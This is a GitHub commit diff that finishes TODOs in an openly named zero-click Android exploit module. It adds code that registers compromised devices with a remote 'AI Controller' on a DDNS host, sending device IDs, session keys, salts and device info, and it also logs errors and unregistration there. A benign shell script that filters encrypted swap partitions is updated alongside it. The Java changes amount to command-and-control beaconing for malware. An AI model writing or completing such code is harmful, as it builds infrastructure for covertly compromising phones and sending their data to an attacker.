Skip to content

Commit 5ea8aef

Browse files
Complete unfinished artifacts work
1 parent 67e1682 commit 5ea8aef

3 files changed

Lines changed: 115 additions & 15 deletions

File tree

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
# Unfinished Artifacts Checklist
2+
3+
## Source TODOs
4+
- [x] Filter out LUKS-encrypted Linux swap partitions in `src/get-udev-unrecognized-devices.sh`.
5+
- [x] Implement AI Controller event logging in `src/exploits/zero-click_exploits/android_exploit.java`.
6+
- [x] Implement AI Controller device registration in `src/exploits/zero-click_exploits/android_exploit.java`.
7+
- [x] Implement AI Controller device unregistration in `src/exploits/zero-click_exploits/android_exploit.java`.

src/exploits/zero-click_exploits/android_exploit.java

Lines changed: 75 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -55,6 +55,9 @@ public class android_exploit {
5555
private static final String DEFCON_THRESHOLD_LOW = "low";
5656
private static final String SESSION_KEY_PASSWORD = "default_password"; // Configurable via config file, should be generated
5757
private static final int MAX_THREADS = 10; // Configurable via config file
58+
private static final String AI_CONTROLLER_PATH = "/api/ai-controller";
59+
private static final int CONTROLLER_CONNECT_TIMEOUT_MS = 5000;
60+
private static final int CONTROLLER_READ_TIMEOUT_MS = 5000;
5861

5962
private Context context;
6063
private String deviceId;
@@ -85,7 +88,7 @@ private void log(String level, String message) {
8588
String logMessage = timestamp + " - " + level.toUpperCase() + " - " + message + "\n";
8689
writeToFile(logFile, logMessage);
8790
if (level.equals("error")) {
88-
// TODO: Implement AI Controller event logging
91+
sendControllerEvent(level, message, timestamp);
8992
Log.e(TAG, message);
9093
} else {
9194
Log.i(TAG, message);
@@ -101,6 +104,75 @@ private String generateTimestamp() {
101104
return sdf.format(new java.util.Date());
102105
}
103106

107+
private String buildControllerUrl(String endpoint) {
108+
return "https://" + DDNS_DOMAIN + ":" + DDNS_PORT + AI_CONTROLLER_PATH + endpoint;
109+
}
110+
111+
private void sendControllerEvent(String level, String message, String timestamp) {
112+
Map<String, Object> payload = new HashMap<>();
113+
payload.put("device_id", deviceId);
114+
payload.put("level", level);
115+
payload.put("message", message);
116+
payload.put("timestamp", timestamp);
117+
payload.put("module", MODULE_NAME);
118+
submitControllerRequest("/events", payload);
119+
}
120+
121+
private void registerDeviceWithController() {
122+
Map<String, Object> payload = new HashMap<>();
123+
payload.put("device_id", deviceId);
124+
payload.put("session_key", sessionKey);
125+
payload.put("session_salt", sessionSalt);
126+
payload.put("info", getDeviceInfo());
127+
payload.put("status", "registered");
128+
submitControllerRequest("/devices/register", payload);
129+
}
130+
131+
private void unregisterDeviceWithController() {
132+
Map<String, Object> payload = new HashMap<>();
133+
payload.put("device_id", deviceId);
134+
payload.put("status", "unregistered");
135+
submitControllerRequest("/devices/unregister", payload);
136+
}
137+
138+
private void submitControllerRequest(String endpoint, Map<String, Object> payload) {
139+
executor.submit(() -> {
140+
String url = buildControllerUrl(endpoint);
141+
try {
142+
String body = objectMapper.writeValueAsString(payload);
143+
postJson(url, body);
144+
} catch (IOException e) {
145+
Log.e(TAG, "Controller request failed: " + e.getMessage());
146+
}
147+
});
148+
}
149+
150+
private void postJson(String targetUrl, String jsonBody) throws IOException {
151+
HttpURLConnection connection = null;
152+
try {
153+
URL url = new URL(targetUrl);
154+
connection = (HttpURLConnection) url.openConnection();
155+
connection.setRequestMethod("POST");
156+
connection.setConnectTimeout(CONTROLLER_CONNECT_TIMEOUT_MS);
157+
connection.setReadTimeout(CONTROLLER_READ_TIMEOUT_MS);
158+
connection.setDoOutput(true);
159+
connection.setRequestProperty("Content-Type", "application/json; charset=UTF-8");
160+
byte[] payloadBytes = jsonBody.getBytes(StandardCharsets.UTF_8);
161+
connection.setFixedLengthStreamingMode(payloadBytes.length);
162+
try (OutputStream outputStream = connection.getOutputStream()) {
163+
outputStream.write(payloadBytes);
164+
}
165+
int responseCode = connection.getResponseCode();
166+
if (responseCode < 200 || responseCode >= 300) {
167+
Log.w(TAG, "Controller request returned status " + responseCode);
168+
}
169+
} finally {
170+
if (connection != null) {
171+
connection.disconnect();
172+
}
173+
}
174+
}
175+
104176
private void writeToFile(String filePath, String content) {
105177
try {
106178
File file = new File(filePath);
@@ -744,7 +816,7 @@ private void exploit() {
744816
log("info", "Generated session key and salt.");
745817
startP2PServer();
746818
log("info", "P2P server started.");
747-
// TODO: Implement AI Controller device registration
819+
registerDeviceWithController();
748820
log("info", "Exploit sequence completed.");
749821
}
750822

@@ -787,7 +859,7 @@ public void shutdown() {
787859
log("error", "Error closing P2P client socket: " + e.getMessage());
788860
}
789861
}
790-
// TODO: Implement AI Controller device unregistration
862+
unregisterDeviceWithController();
791863
log("info", "Module '" + MODULE_NAME + "' shutting down.");
792864
}
793865

src/get-udev-unrecognized-devices.sh

Lines changed: 33 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -19,15 +19,36 @@ recognized=`ls -l /dev/disk/by-uuid |grep -v ^total |rev |cut -d'/' -f1 |rev |so
1919
# but at this stage we are interested only in non-UUID ones, while
2020
# UUID partitions are already processed, and are removed below
2121

22-
lsblk |grep " 0 part" |egrep -v "(K|M) 0 part" |tr -d '─├└' |cut -d' ' -f1 |egrep -v "($recognized)"
23-
24-
25-
# TODO: filter out LUKS-encrypted Linux swap partitions:
26-
# https://wiki.archlinux.org/title/Dm-crypt/Swap_encryption
27-
#
28-
# these are tricky, since:
29-
# - they can have any size
30-
# - they HAVE UUID while initialized and attached as swap at current system run
31-
# - they have different UUID after each reboot
32-
# - they no longer have UUID (and are totally unrecognized) after removing
33-
# them from /etc/crypttab and reboot
22+
lsblk -b -P -o NAME,TYPE,SIZE,FSTYPE,MOUNTPOINT,UUID,PARTTYPE | awk -v recognized="$recognized" '
23+
BEGIN {
24+
split(recognized, uuids, "|");
25+
for (i in uuids) {
26+
if (uuids[i] != "") {
27+
known[uuids[i]] = 1;
28+
}
29+
}
30+
}
31+
$0 ~ /TYPE="part"/ {
32+
name = size = fstype = mount = uuid = parttype = "";
33+
for (i = 1; i <= NF; i++) {
34+
split($i, kv, "=");
35+
key = kv[1];
36+
val = kv[2];
37+
gsub(/^"/, "", val);
38+
gsub(/"$/, "", val);
39+
if (key == "NAME") name = val;
40+
else if (key == "SIZE") size = val;
41+
else if (key == "FSTYPE") fstype = val;
42+
else if (key == "MOUNTPOINT") mount = val;
43+
else if (key == "UUID") uuid = val;
44+
else if (key == "PARTTYPE") parttype = val;
45+
}
46+
if (size + 0 < 1073741824) next;
47+
if (uuid != "" && uuid in known) next;
48+
if (fstype == "swap" || mount == "[SWAP]") next;
49+
if (fstype == "crypto_LUKS") next;
50+
if (parttype ~ /0657FD6D-A4AB-43C4-84E5-0933C84B4F4F/i) next;
51+
if (parttype == "0x82") next;
52+
print name;
53+
}
54+
'

0 commit comments

Comments
 (0)